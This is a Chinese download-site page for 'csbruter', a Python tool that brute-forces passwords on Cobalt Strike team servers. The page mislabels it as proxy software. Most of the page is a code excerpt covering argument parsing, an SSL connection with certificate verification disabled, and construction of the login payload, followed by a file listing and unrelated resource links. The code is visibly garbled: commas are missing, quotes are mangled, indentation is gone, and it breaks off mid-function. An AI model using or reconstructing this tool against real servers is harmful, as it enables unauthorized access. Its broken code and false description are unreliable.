资源简介
这是一个代理软件
代码片段和文件信息
#!/usr/bin/env python3
import time
import socket
import ssl
import argparse
import concurrent.futures
import sys
# csbrute.py - Cobalt Strike Team Server Password Brute Forcer
# https://stackoverflow.com/questions/6224736/how-to-write-python-code-that-is-able-to-properly-require-a-minimal-python-versi
MIN_PYTHON = (3 3)
if sys.version_info < MIN_PYTHON:
sys.exit(“Python %s.%s or later is required.\n“ % MIN_PYTHON)
parser = argparse.ArgumentParser()
parser.add_argument(“host“
help=“Teamserver address“)
parser.add_argument(“wordlist“ nargs=“?“
help=“Newline-delimited word list file“)
parser.add_argument(“-p“ dest=“port“ default=50050 type=int
help=“Teamserver port“)
parser.add_argument(“-t“ dest=“threads“ default=25 type=int
help=“Concurrency level“)
args = parser.parse_args()
# https://stackoverflow.com/questions/27679890/how-to-handle-ssl-connections-in-raw-python-socket
class NotConnectedException(Exception):
def __init__(self message=None node=None):
self.message = message
self.node = node
class DisconnectedException(Exception):
def __init__(self message=None node=None):
self.message = message
self.node = node
class Connector:
def __init__(self):
self.sock = None
self.ssl_sock = None
self.ctx = ssl.SSLContext()
self.ctx.verify_mode = ssl.CERT_NONE
pass
def is_connected(self):
return self.sock and self.ssl_sock
def open(self hostname port):
self.sock = socket.socket(socket.AF_INET socket.SOCK_STREAM)
self.sock.settimeout(10)
self.ssl_sock = self.ctx.wrap_socket(self.sock)
if hostname == socket.gethostname():
ipaddress = socket.gethostbyname_ex(hostname)[2][0]
self.ssl_sock.connect((ipaddress port))
else:
self.ssl_sock.connect((hostname port))
def close(self):
if self.sock:
self.sock.close()
self.sock = None
self.ssl_sock = None
def send(self buffer):
if not self.ssl_sock: raise NotConnectedException(“Not connected (SSL Socket is null)“)
self.ssl_sock.sendall(buffer)
def receive(self):
if not self.ssl_sock: raise NotConnectedException(“Not connected (SSL Socket is null)“)
received_size = 0
data_buffer = b““
while received_size < 4:
data_in = self.ssl_sock.recv()
data_buffer = data_buffer + data_in
received_size += len(data_in)
return data_buffer
def passwordcheck(password):
if len(password) > 0:
result = None
conn = Connector()
conn.open(args.host args.port)
payload = bytearray(b“\x00\x00\xbe\xef“) + len(password).to_bytes(1 “big“ signed=True) + bytes(
bytes(password “ascii“).ljust(256 b“A“))
conn.send(payload)
if conn.is_connected(): result
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
目录 0 2018-01-30 18:57 csbruter-master\
文件 2590 2018-01-30 18:57 csbruter-master\README.md
文件 4691 2018-01-30 18:57 csbruter-master\csbruter.py
相关资源
- python无限生成点(基于matplotlib.pyplo
- 验证码识别(pytesseract+ matplotlib)
- 一个高性能的同时支持websocket/http/t
- numpy,pandas,matplotlib速查手册
- Python-gzipencoding如何压缩HTTP请求发送到
- python绘制新型冠状病毒疫情地图与疫
- 私募程序化交易系统框架打包Quickli
- Effective Python.pdf
- Python Testing with pytest
- Python 数据可视化 matplotlib-3.1.1-cp37-c
- matplotlib 安装包
- 中文字体文件SimHei.ttf
- matplotlib-3.2.1-cp37-cp37m-win_amd64.whl
- matplotlib win32 python2.7画图包
- apachehttpd-2.4.27-x64-vc11.zip
- pyltp wheel python3.5 3.6
- 原生python ctp
- BrownLee Better Deep Learning
- GRAYHATPYTHON高清.英文.书签版.pdf
- Mastering Python Design Patterns精通Python设计
- matplotlibwin32
- matplotlib-3.1.2-cp36-cp36m-win_amd64.whl
- matplotlib-2.0.0b2-cp34-cp34m-win32.whl
- matplotlib-1.4.3 windows python2.7 32位及64位
- aircraft battle.zip
- python-3.7.7-amd64-webinstall.exe
- Python Crash Course 原版PDF by Matthes
- pyltp安装wheel文件
- windows下pyltp的whl安装包
- 基于Keras的attention实战
评论
共有 条评论